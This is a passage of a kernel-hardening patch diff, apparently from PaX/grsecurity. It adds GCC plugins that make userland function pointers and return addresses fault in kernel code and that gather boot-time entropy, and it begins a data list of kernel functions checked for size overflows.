++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++extern rtx emit_move_insn(rtx x, rtx y);
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info kernexec_plugin_info = {
++	.version	= "201111291120",
++	.help		= "method=[bts|or]\tinstrumentation method\n"
++};
++
++static unsigned int execute_kernexec_reload(void);
++static unsigned int execute_kernexec_fptr(void);
++static unsigned int execute_kernexec_retaddr(void);
++static bool kernexec_cmodel_check(void);
++
++static void (*kernexec_instrument_fptr)(gimple_stmt_iterator *);
++static void (*kernexec_instrument_retaddr)(rtx);
++
++static struct gimple_opt_pass kernexec_reload_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kernexec_reload",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_reload,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi
++	}
++};
++
++static struct gimple_opt_pass kernexec_fptr_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kernexec_fptr",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_fptr,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi
++	}
++};
++
++static struct rtl_opt_pass kernexec_retaddr_pass = {
++	.pass = {
++		.type			= RTL_PASS,
++		.name			= "kernexec_retaddr",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_retaddr,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_dump_func | TODO_ggc_collect
++	}
++};
++
++static bool kernexec_cmodel_check(void)
++{
++	tree section;
++
++	if (ix86_cmodel != CM_KERNEL)
++		return false;
++
++	section = lookup_attribute("section", DECL_ATTRIBUTES(current_function_decl));
++	if (!section || !TREE_VALUE(section))
++		return true;
++
++	section = TREE_VALUE(TREE_VALUE(section));
++	if (strncmp(TREE_STRING_POINTER(section), ".vsyscall_", 10))
++		return true;
++
++	return false;
++}
++
++/*
++ * add special KERNEXEC instrumentation: reload %r10 after it has been clobbered
++ */
++static void kernexec_reload_fptr_mask(gimple_stmt_iterator *gsi)
++{
++	gimple asm_movabs_stmt;
++
++	// build asm volatile("movabs $0x8000000000000000, %%r10\n\t" : : : );
++	asm_movabs_stmt = gimple_build_asm_vec("movabs $0x8000000000000000, %%r10\n\t", NULL, NULL, NULL, NULL);
++	gimple_asm_set_volatile(asm_movabs_stmt, true);
++	gsi_insert_after(gsi, asm_movabs_stmt, GSI_CONTINUE_LINKING);
++	update_stmt(asm_movabs_stmt);
++}
++
++/*
++ * find all asm() stmts that clobber r10 and add a reload of r10
++ */
++static unsigned int execute_kernexec_reload(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: __asm__ ("" :  :  : "r10");
++			gimple asm_stmt;
++			size_t nclobbers;
++
++			// is it an asm ...
++			asm_stmt = gsi_stmt(gsi);
++			if (gimple_code(asm_stmt) != GIMPLE_ASM)
++				continue;
++
++			// ... clobbering r10
++			nclobbers = gimple_asm_nclobbers(asm_stmt);
++			while (nclobbers--) {
++				tree op = gimple_asm_clobber_op(asm_stmt, nclobbers);
++				if (strcmp(TREE_STRING_POINTER(TREE_VALUE(op)), "r10"))
++					continue;
++				kernexec_reload_fptr_mask(&gsi);
++//print_gimple_stmt(stderr, asm_stmt, 0, TDF_LINENO);
++				break;
++			}
++		}
++	}
++
++	return 0;
++}
++
++/*
++ * add special KERNEXEC instrumentation: force MSB of fptr to 1, which will produce
++ * a non-canonical address from a userland ptr and will just trigger a GPF on dereference
++ */
++static void kernexec_instrument_fptr_bts(gimple_stmt_iterator *gsi)
++{
++	gimple assign_intptr, assign_new_fptr, call_stmt;
++	tree intptr, old_fptr, new_fptr, kernexec_mask;
++
++	call_stmt = gsi_stmt(*gsi);
++	old_fptr = gimple_call_fn(call_stmt);
++
++	// create temporary unsigned long variable used for bitops and cast fptr to it
++	intptr = create_tmp_var(long_unsigned_type_node, "kernexec_bts");
++	add_referenced_var(intptr);
++	mark_sym_for_renaming(intptr);
++	assign_intptr = gimple_build_assign(intptr, fold_convert(long_unsigned_type_node, old_fptr));
++	gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT);
++	update_stmt(assign_intptr);
++
++	// apply logical or to temporary unsigned long and bitmask
++	kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0x8000000000000000LL);
++//	kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0xffffffff80000000LL);
++	assign_intptr = gimple_build_assign(intptr, fold_build2(BIT_IOR_EXPR, long_long_unsigned_type_node, intptr, kernexec_mask));
++	gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT);
++	update_stmt(assign_intptr);
++
++	// cast temporary unsigned long back to a temporary fptr variable
++	new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_fptr");
++	add_referenced_var(new_fptr);
++	mark_sym_for_renaming(new_fptr);
++	assign_new_fptr = gimple_build_assign(new_fptr, fold_convert(TREE_TYPE(old_fptr), intptr));
++	gsi_insert_before(gsi, assign_new_fptr, GSI_SAME_STMT);
++	update_stmt(assign_new_fptr);
++
++	// replace call stmt fn with the new fptr
++	gimple_call_set_fn(call_stmt, new_fptr);
++	update_stmt(call_stmt);
++}
++
++static void kernexec_instrument_fptr_or(gimple_stmt_iterator *gsi)
++{
++	gimple asm_or_stmt, call_stmt;
++	tree old_fptr, new_fptr, input, output;
++	VEC(tree, gc) *inputs = NULL;
++	VEC(tree, gc) *outputs = NULL;
++
++	call_stmt = gsi_stmt(*gsi);
++	old_fptr = gimple_call_fn(call_stmt);
++
++	// create temporary fptr variable
++	new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_or");
++	add_referenced_var(new_fptr);
++	mark_sym_for_renaming(new_fptr);
++
++	// build asm volatile("orq %%r10, %0\n\t" : "=r"(new_fptr) : "0"(old_fptr));
++	input = build_tree_list(NULL_TREE, build_string(2, "0"));
++	input = chainon(NULL_TREE, build_tree_list(input, old_fptr));
++	output = build_tree_list(NULL_TREE, build_string(3, "=r"));
++	output = chainon(NULL_TREE, build_tree_list(output, new_fptr));
++	VEC_safe_push(tree, gc, inputs, input);
++	VEC_safe_push(tree, gc, outputs, output);
++	asm_or_stmt = gimple_build_asm_vec("orq %%r10, %0\n\t", inputs, outputs, NULL, NULL);
++	gimple_asm_set_volatile(asm_or_stmt, true);
++	gsi_insert_before(gsi, asm_or_stmt, GSI_SAME_STMT);
++	update_stmt(asm_or_stmt);
++
++	// replace call stmt fn with the new fptr
++	gimple_call_set_fn(call_stmt, new_fptr);
++	update_stmt(call_stmt);
++}
++
++/*
++ * find all C level function pointer dereferences and forcibly set the highest bit of the pointer
++ */
++static unsigned int execute_kernexec_fptr(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: h_1 = get_fptr (); D.2709_3 = h_1 (x_2(D));
++			tree fn;
++			gimple call_stmt;
++
++			// is it a call ...
++			call_stmt = gsi_stmt(gsi);
++			if (!is_gimple_call(call_stmt))
++				continue;
++			fn = gimple_call_fn(call_stmt);
++			if (TREE_CODE(fn) == ADDR_EXPR)
++				continue;
++			if (TREE_CODE(fn) != SSA_NAME)
++				gcc_unreachable();
++
++			// ... through a function pointer
++			fn = SSA_NAME_VAR(fn);
++			if (TREE_CODE(fn) != VAR_DECL && TREE_CODE(fn) != PARM_DECL)
++				continue;
++			fn = TREE_TYPE(fn);
++			if (TREE_CODE(fn) != POINTER_TYPE)
++				continue;
++			fn = TREE_TYPE(fn);
++			if (TREE_CODE(fn) != FUNCTION_TYPE)
++				continue;
++
++			kernexec_instrument_fptr(&gsi);
++
++//debug_tree(gimple_call_fn(call_stmt));
++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO);
++		}
++	}
++
++	return 0;
++}
++
++// add special KERNEXEC instrumentation: btsq $63,(%rsp) just before retn
++static void kernexec_instrument_retaddr_bts(rtx insn)
++{
++	rtx btsq;
++	rtvec argvec, constraintvec, labelvec;
++	int line;
++
++	// create asm volatile("btsq $63,(%%rsp)":::)
++	argvec = rtvec_alloc(0);
++	constraintvec = rtvec_alloc(0);
++	labelvec = rtvec_alloc(0);
++	line = expand_location(RTL_LOCATION(insn)).line;
++	btsq = gen_rtx_ASM_OPERANDS(VOIDmode, "btsq $63,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line);
++	MEM_VOLATILE_P(btsq) = 1;
++//	RTX_FRAME_RELATED_P(btsq) = 1; // not for ASM_OPERANDS
++	emit_insn_before(btsq, insn);
++}
++
++// add special KERNEXEC instrumentation: orq %r10,(%rsp) just before retn
++static void kernexec_instrument_retaddr_or(rtx insn)
++{
++	rtx orq;
++	rtvec argvec, constraintvec, labelvec;
++	int line;
++
++	// create asm volatile("orq %%r10,(%%rsp)":::)
++	argvec = rtvec_alloc(0);
++	constraintvec = rtvec_alloc(0);
++	labelvec = rtvec_alloc(0);
++	line = expand_location(RTL_LOCATION(insn)).line;
++	orq = gen_rtx_ASM_OPERANDS(VOIDmode, "orq %%r10,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line);
++	MEM_VOLATILE_P(orq) = 1;
++//	RTX_FRAME_RELATED_P(orq) = 1; // not for ASM_OPERANDS
++	emit_insn_before(orq, insn);
++}
++
++/*
++ * find all asm level function returns and forcibly set the highest bit of the return address
++ */
++static unsigned int execute_kernexec_retaddr(void)
++{
++	rtx insn;
++
++	// 1. find function returns
++	for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) {
++		// rtl match: (jump_insn 41 40 42 2 (return) fptr.c:42 634 {return_internal} (nil))
++		//            (jump_insn 12 9 11 2 (parallel [ (return) (unspec [ (0) ] UNSPEC_REP) ]) fptr.c:46 635 {return_internal_long} (nil))
++		rtx body;
++
++		// is it a retn
++		if (!JUMP_P(insn))
++			continue;
++		body = PATTERN(insn);
++		if (GET_CODE(body) == PARALLEL)
++			body = XVECEXP(body, 0, 0);
++		if (GET_CODE(body) != RETURN)
++			continue;
++		kernexec_instrument_retaddr(insn);
++	}
++
++//	print_simple_rtl(stderr, get_insns());
++//	print_rtl(stderr, get_insns());
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	struct register_pass_info kernexec_reload_pass_info = {
++		.pass				= &kernexec_reload_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++	struct register_pass_info kernexec_fptr_pass_info = {
++		.pass				= &kernexec_fptr_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++	struct register_pass_info kernexec_retaddr_pass_info = {
++		.pass				= &kernexec_retaddr_pass.pass,
++		.reference_pass_name		= "pro_and_epilogue",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &kernexec_plugin_info);
++
++	if (TARGET_64BIT == 0)
++		return 0;
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "method")) {
++			if (!argv[i].value) {
++				error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++				continue;
++			}
++			if (!strcmp(argv[i].value, "bts")) {
++				kernexec_instrument_fptr = kernexec_instrument_fptr_bts;
++				kernexec_instrument_retaddr = kernexec_instrument_retaddr_bts;
++			} else if (!strcmp(argv[i].value, "or")) {
++				kernexec_instrument_fptr = kernexec_instrument_fptr_or;
++				kernexec_instrument_retaddr = kernexec_instrument_retaddr_or;
++				fix_register("r10", 1, 1);
++			} else
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++	if (!kernexec_instrument_fptr || !kernexec_instrument_retaddr)
++		error(G_("no instrumentation method was selected via '-fplugin-arg-%s-method'"), plugin_name);
++
++	if (kernexec_instrument_fptr == kernexec_instrument_fptr_or)
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_reload_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_fptr_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_retaddr_pass_info);
++
++	return 0;
++}
+--- tools/gcc/latent_entropy_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/latent_entropy_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,295 @@
++/*
++ * Copyright 2012 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to help generate a little bit of entropy from program state,
++ * used during boot in the kernel
++ *
++ * TODO:
++ * - add ipa pass to identify not explicitly marked candidate functions
++ * - mix in more program state (function arguments/return values, loop variables, etc)
++ * - more instrumentation control via attribute parameters
++ *
++ * BUGS:
++ * - LTO needs -flto-partition=none for now
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++int plugin_is_GPL_compatible;
++
++static tree latent_entropy_decl;
++
++static struct plugin_info latent_entropy_plugin_info = {
++	.version	= "201207271820",
++	.help		= NULL
++};
++
++static unsigned int execute_latent_entropy(void);
++static bool gate_latent_entropy(void);
++
++static struct gimple_opt_pass latent_entropy_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "latent_entropy",
++		.gate			= gate_latent_entropy,
++		.execute		= execute_latent_entropy,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_gimple_leh | PROP_cfg,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa
++	}
++};
++
++static tree handle_latent_entropy_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	if (TREE_CODE(*node) != FUNCTION_DECL) {
++		*no_add_attrs = true;
++		error("%qE attribute only applies to functions", name);
++	}
++	return NULL_TREE;
++}
++
++static struct attribute_spec latent_entropy_attr = {
++	.name				= "latent_entropy",
++	.min_length			= 0,
++	.max_length			= 0,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_latent_entropy_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static void register_attributes(void *event_data, void *data)
++{
++	register_attribute(&latent_entropy_attr);
++}
++
++static bool gate_latent_entropy(void)
++{
++	tree latent_entropy_attr;
++
++	latent_entropy_attr = lookup_attribute("latent_entropy", DECL_ATTRIBUTES(current_function_decl));
++	return latent_entropy_attr != NULL_TREE;
++}
++
++static unsigned HOST_WIDE_INT seed;
++static unsigned HOST_WIDE_INT get_random_const(void)
++{
++	seed = (seed >> 1U) ^ (-(seed & 1ULL) & 0xD800000000000000ULL);
++	return seed;
++}
++
++static enum tree_code get_op(tree *rhs)
++{
++	static enum tree_code op;
++	unsigned HOST_WIDE_INT random_const;
++
++	random_const = get_random_const();
++
++	switch (op) {
++	case BIT_XOR_EXPR:
++		op = PLUS_EXPR;
++		break;
++
++	case PLUS_EXPR:
++		if (rhs) {
++			op = LROTATE_EXPR;
++			random_const &= HOST_BITS_PER_WIDE_INT - 1;
++			break;
++		}
++
++	case LROTATE_EXPR:
++	default:
++		op = BIT_XOR_EXPR;
++		break;
++	}
++	if (rhs)
++		*rhs = build_int_cstu(unsigned_intDI_type_node, random_const);
++	return op;
++}
++
++static void perturb_local_entropy(basic_block bb, tree local_entropy)
++{
++	gimple_stmt_iterator gsi;
++	gimple assign;
++	tree addxorrol, rhs;
++	enum tree_code op;
++
++	op = get_op(&rhs);
++	addxorrol = fold_build2_loc(UNKNOWN_LOCATION, op, unsigned_intDI_type_node, local_entropy, rhs);
++	assign = gimple_build_assign(local_entropy, addxorrol);
++	find_referenced_vars_in(assign);
++//debug_bb(bb);
++	gsi = gsi_after_labels(bb);
++	gsi_insert_before(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++}
++
++static void perturb_latent_entropy(basic_block bb, tree rhs)
++{
++	gimple_stmt_iterator gsi;
++	gimple assign;
++	tree addxorrol, temp;
++
++	// 1. create temporary copy of latent_entropy
++	temp = create_tmp_var(unsigned_intDI_type_node, "temp_latent_entropy");
++	add_referenced_var(temp);
++	mark_sym_for_renaming(temp);
++
++	// 2. read...
++	assign = gimple_build_assign(temp, latent_entropy_decl);
++	find_referenced_vars_in(assign);
++	gsi = gsi_after_labels(bb);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++
++	// 3. ...modify...
++	addxorrol = fold_build2_loc(UNKNOWN_LOCATION, get_op(NULL), unsigned_intDI_type_node, temp, rhs);
++	assign = gimple_build_assign(temp, addxorrol);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++
++	// 4. ...write latent_entropy
++	assign = gimple_build_assign(latent_entropy_decl, temp);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++}
++
++static unsigned int execute_latent_entropy(void)
++{
++	basic_block bb;
++	gimple assign;
++	gimple_stmt_iterator gsi;
++	tree local_entropy;
++
++	if (!latent_entropy_decl) {
++		struct varpool_node *node;
++
++		for (node = varpool_nodes; node; node = node->next) {
++			tree var = node->decl;
++			if (strcmp(IDENTIFIER_POINTER(DECL_NAME(var)), "latent_entropy"))
++				continue;
++			latent_entropy_decl = var;
++//			debug_tree(var);
++			break;
++		}
++		if (!latent_entropy_decl) {
++//			debug_tree(current_function_decl);
++			return 0;
++		}
++	}
++
++//fprintf(stderr, "latent_entropy: %s\n", IDENTIFIER_POINTER(DECL_NAME(current_function_decl)));
++
++	// 1. create local entropy variable
++	local_entropy = create_tmp_var(unsigned_intDI_type_node, "local_entropy");
++	add_referenced_var(local_entropy);
++	mark_sym_for_renaming(local_entropy);
++
++	// 2. initialize local entropy variable
++	bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++	if (dom_info_available_p(CDI_DOMINATORS))
++		set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR);
++	gsi = gsi_start_bb(bb);
++
++	assign = gimple_build_assign(local_entropy, build_int_cstu(unsigned_intDI_type_node, get_random_const()));
++//	gimple_set_location(assign, loc);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	bb = bb->next_bb;
++
++	// 3. instrument each BB with an operation on the local entropy variable
++	while (bb != EXIT_BLOCK_PTR) {
++		perturb_local_entropy(bb, local_entropy);
++		bb = bb->next_bb;
++	};
++
++	// 4. mix local entropy into the global entropy variable
++	perturb_latent_entropy(EXIT_BLOCK_PTR->prev_bb, local_entropy);
++	return 0;
++}
++
++static void start_unit_callback(void *gcc_data, void *user_data)
++{
++#if BUILDING_GCC_VERSION >= 4007
++	seed = get_random_seed(false);
++#else
++	sscanf(get_random_seed(false), "%" HOST_WIDE_INT_PRINT "x", &seed);
++	seed *= seed;
++#endif
++
++	if (in_lto_p)
++		return;
++
++	// extern u64 latent_entropy
++	latent_entropy_decl = build_decl(UNKNOWN_LOCATION, VAR_DECL, get_identifier("latent_entropy"), unsigned_intDI_type_node);
++
++	TREE_STATIC(latent_entropy_decl) = 1;
++	TREE_PUBLIC(latent_entropy_decl) = 1;
++	TREE_USED(latent_entropy_decl) = 1;
++	TREE_THIS_VOLATILE(latent_entropy_decl) = 1;
++	DECL_EXTERNAL(latent_entropy_decl) = 1;
++	DECL_ARTIFICIAL(latent_entropy_decl) = 0;
++	DECL_INITIAL(latent_entropy_decl) = NULL;
++//	DECL_ASSEMBLER_NAME(latent_entropy_decl);
++//	varpool_finalize_decl(latent_entropy_decl);
++//	varpool_mark_needed_node(latent_entropy_decl);
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info latent_entropy_pass_info = {
++		.pass				= &latent_entropy_pass.pass,
++		.reference_pass_name		= "optimized",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &latent_entropy_plugin_info);
++	register_callback ("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &latent_entropy_pass_info);
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+--- tools/gcc/size_overflow_hash.data	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/size_overflow_hash.data	2012-10-15 17:30:59.834924531 +0000
+@@ -0,0 +1,3597 @@
++_000001_hash alloc_dr 2 65495 _000001_hash NULL
++_000002_hash __copy_from_user 3 10918 _000002_hash NULL
++_000003_hash copy_from_user 3 17559 _000003_hash NULL
++_000004_hash __copy_from_user_inatomic 3 4365 _000004_hash NULL
++_000005_hash __copy_from_user_nocache 3 39351 _000005_hash NULL
++_000006_hash __copy_to_user_inatomic 3 19214 _000006_hash NULL
++_000007_hash do_xip_mapping_read 5 60297 _000007_hash NULL
++_000008_hash hugetlbfs_read 3 11268 _000008_hash NULL
++_000009_hash kmalloc 1 60432 _003302_hash NULL nohasharray
++_000010_hash kmalloc_array 1-2 9444 _000010_hash NULL
++_000012_hash __kmalloc_reserve 1 17080 _000012_hash NULL
++_000013_hash kmalloc_slab 1 11917 _000013_hash NULL
++_000014_hash kmemdup 2 64015 _000014_hash NULL
++_000015_hash __krealloc 2 14857 _000340_hash NULL nohasharray
++_000016_hash memdup_user 2 59590 _000016_hash NULL
++_000017_hash module_alloc 1 63630 _000017_hash NULL
++_000018_hash read_default_ldt 2 14302 _000018_hash NULL
++_000019_hash read_kcore 3 63488 _000019_hash NULL
++_000020_hash read_ldt 2 47570 _000020_hash NULL
++_000021_hash read_zero 3 19366 _000021_hash NULL
++_000022_hash __vmalloc_node 1 39308 _000022_hash NULL
++_000023_hash aac_convert_sgraw2 4 51598 _000023_hash NULL
++_000024_hash aa_simple_write_to_buffer 4-3 49683 _000024_hash NULL
++_000025_hash ablkcipher_copy_iv 3 64140 _000025_hash NULL
++_000026_hash ablkcipher_next_slow 3-4 47274 _000026_hash NULL
++_000028_hash acpi_battery_write_alarm 3 1240 _000028_hash NULL
++_000029_hash acpi_os_allocate 1 14892 _000029_hash NULL
++_000030_hash acpi_system_write_wakeup_device 3 34853 _000030_hash NULL
++_000031_hash adu_write 3 30487 _000031_hash NULL
++_000032_hash aer_inject_write 3 52399 _000032_hash NULL
++_000033_hash afs_alloc_flat_call 2-3 36399 _000033_hash NULL
++_000035_hash afs_proc_cells_write 3 61139 _000035_hash NULL
++_000036_hash afs_proc_rootcell_write 3 15822 _000036_hash NULL
++_000037_hash agp_3_5_isochronous_node_enable 3 49465 _000037_hash NULL
++_000038_hash agp_alloc_page_array 1 22554 _000038_hash NULL
++_000039_hash ah_alloc_tmp 2-3 54378 _000039_hash NULL
++_000041_hash ahash_setkey_unaligned 3 33521 _000041_hash NULL
++_000042_hash alg_setkey 3 31485 _000042_hash NULL
++_000043_hash aligned_kmalloc 1 3628 _000043_hash NULL
++_000044_hash alloc_context 1 3194 _000044_hash NULL
++_000045_hash alloc_ep_req 2 54860 _000045_hash NULL
++_000046_hash alloc_fdmem 1 27083 _000046_hash NULL
++_000047_hash alloc_flex_gd 1 57259 _000047_hash NULL
++_000048_hash alloc_sglist 1-3-2 22960 _000048_hash NULL
++_000049_hash __alloc_skb 1 23940 _000049_hash NULL
++_000050_hash aoedev_flush 2 44398 _000050_hash NULL
++_000051_hash append_to_buffer 3 63550 _000051_hash NULL
++_000052_hash asix_read_cmd 5 13245 _000052_hash NULL
++_000053_hash asix_write_cmd 5 58192 _000053_hash NULL
++_000054_hash at76_set_card_command 4 4471 _000054_hash NULL
++_000055_hash ath6kl_add_bss_if_needed 6 24317 _000055_hash NULL
++_000056_hash ath6kl_debug_roam_tbl_event 3 5224 _000056_hash NULL
++_000057_hash ath6kl_mgmt_powersave_ap 6 13791 _000057_hash NULL
++_000058_hash ath6kl_send_go_probe_resp 3 21113 _000058_hash NULL
++_000059_hash ath6kl_set_ap_probe_resp_ies 3 50539 _000059_hash NULL
++_000060_hash ath6kl_set_assoc_req_ies 3 43185 _000060_hash NULL
++_000061_hash ath6kl_wmi_bssinfo_event_rx 3 2275 _000061_hash NULL
++_000062_hash ath6kl_wmi_send_action_cmd 7 58860 _000062_hash NULL
++_000063_hash __ath6kl_wmi_send_mgmt_cmd 7 38971 _000063_hash NULL
++_000064_hash attach_hdlc_protocol 3 19986 _000064_hash NULL
++_000065_hash audio_write 4 54261 _001782_hash NULL nohasharray
++_000066_hash audit_unpack_string 3 13748 _000066_hash NULL
++_000067_hash ax25_setsockopt 5 42740 _000067_hash NULL
++_000068_hash b43_debugfs_write 3 34838 _000068_hash NULL
++_000069_hash b43legacy_debugfs_write 3 28556 _000069_hash NULL
++_000070_hash batadv_hash_new 1 40491 _000070_hash NULL
++_000071_hash batadv_orig_node_add_if 2 18433 _000071_hash NULL
++_000072_hash batadv_orig_node_del_if 2 4 _000072_hash NULL
++_000073_hash batadv_tt_changes_fill_buff 4 40323 _000073_hash NULL
++_000074_hash batadv_tt_realloc_packet_buff 4 49960 _000074_hash NULL
++_000075_hash bch_alloc 1 4593 _000075_hash NULL
++_000076_hash befs_nls2utf 3 17163 _000076_hash NULL
++_000077_hash befs_utf2nls 3 25628 _000077_hash NULL
++_000078_hash bfad_debugfs_write_regrd 3 15218 _000078_hash NULL
++_000079_hash bfad_debugfs_write_regwr 3 61841 _000079_hash NULL
++_000080_hash bio_alloc_map_data 1-2 50782 _000080_hash NULL
++_000082_hash bio_kmalloc 2 54672 _000082_hash NULL
++_000083_hash bitmap_storage_alloc 2 55077 _000083_hash NULL
++_000084_hash blkcipher_copy_iv 3 24075 _000084_hash NULL
++_000085_hash blkcipher_next_slow 3-4 52733 _000085_hash NULL
++_000087_hash bl_pipe_downcall 3 34264 _000087_hash NULL
++_000088_hash bnad_debugfs_write_regrd 3 6706 _000088_hash NULL
++_000089_hash bnad_debugfs_write_regwr 3 57500 _000089_hash NULL
++_000090_hash bnx2fc_cmd_mgr_alloc 2-3 24873 _000090_hash NULL
++_000092_hash bnx2fc_process_unsol_compl 2 15576 _000092_hash NULL
++_000093_hash bnx2_nvram_write 2-4 7790 _000093_hash NULL
++_000095_hash btmrvl_gpiogap_write 3 35053 _000095_hash NULL
++_000096_hash btmrvl_hscfgcmd_write 3 27143 _000096_hash NULL
++_000097_hash btmrvl_hscmd_write 3 27089 _000097_hash NULL
++_000098_hash btmrvl_hsmode_write 3 42252 _000098_hash NULL
++_000099_hash btmrvl_pscmd_write 3 29504 _000099_hash NULL
++_000100_hash btmrvl_psmode_write 3 3703 _000100_hash NULL
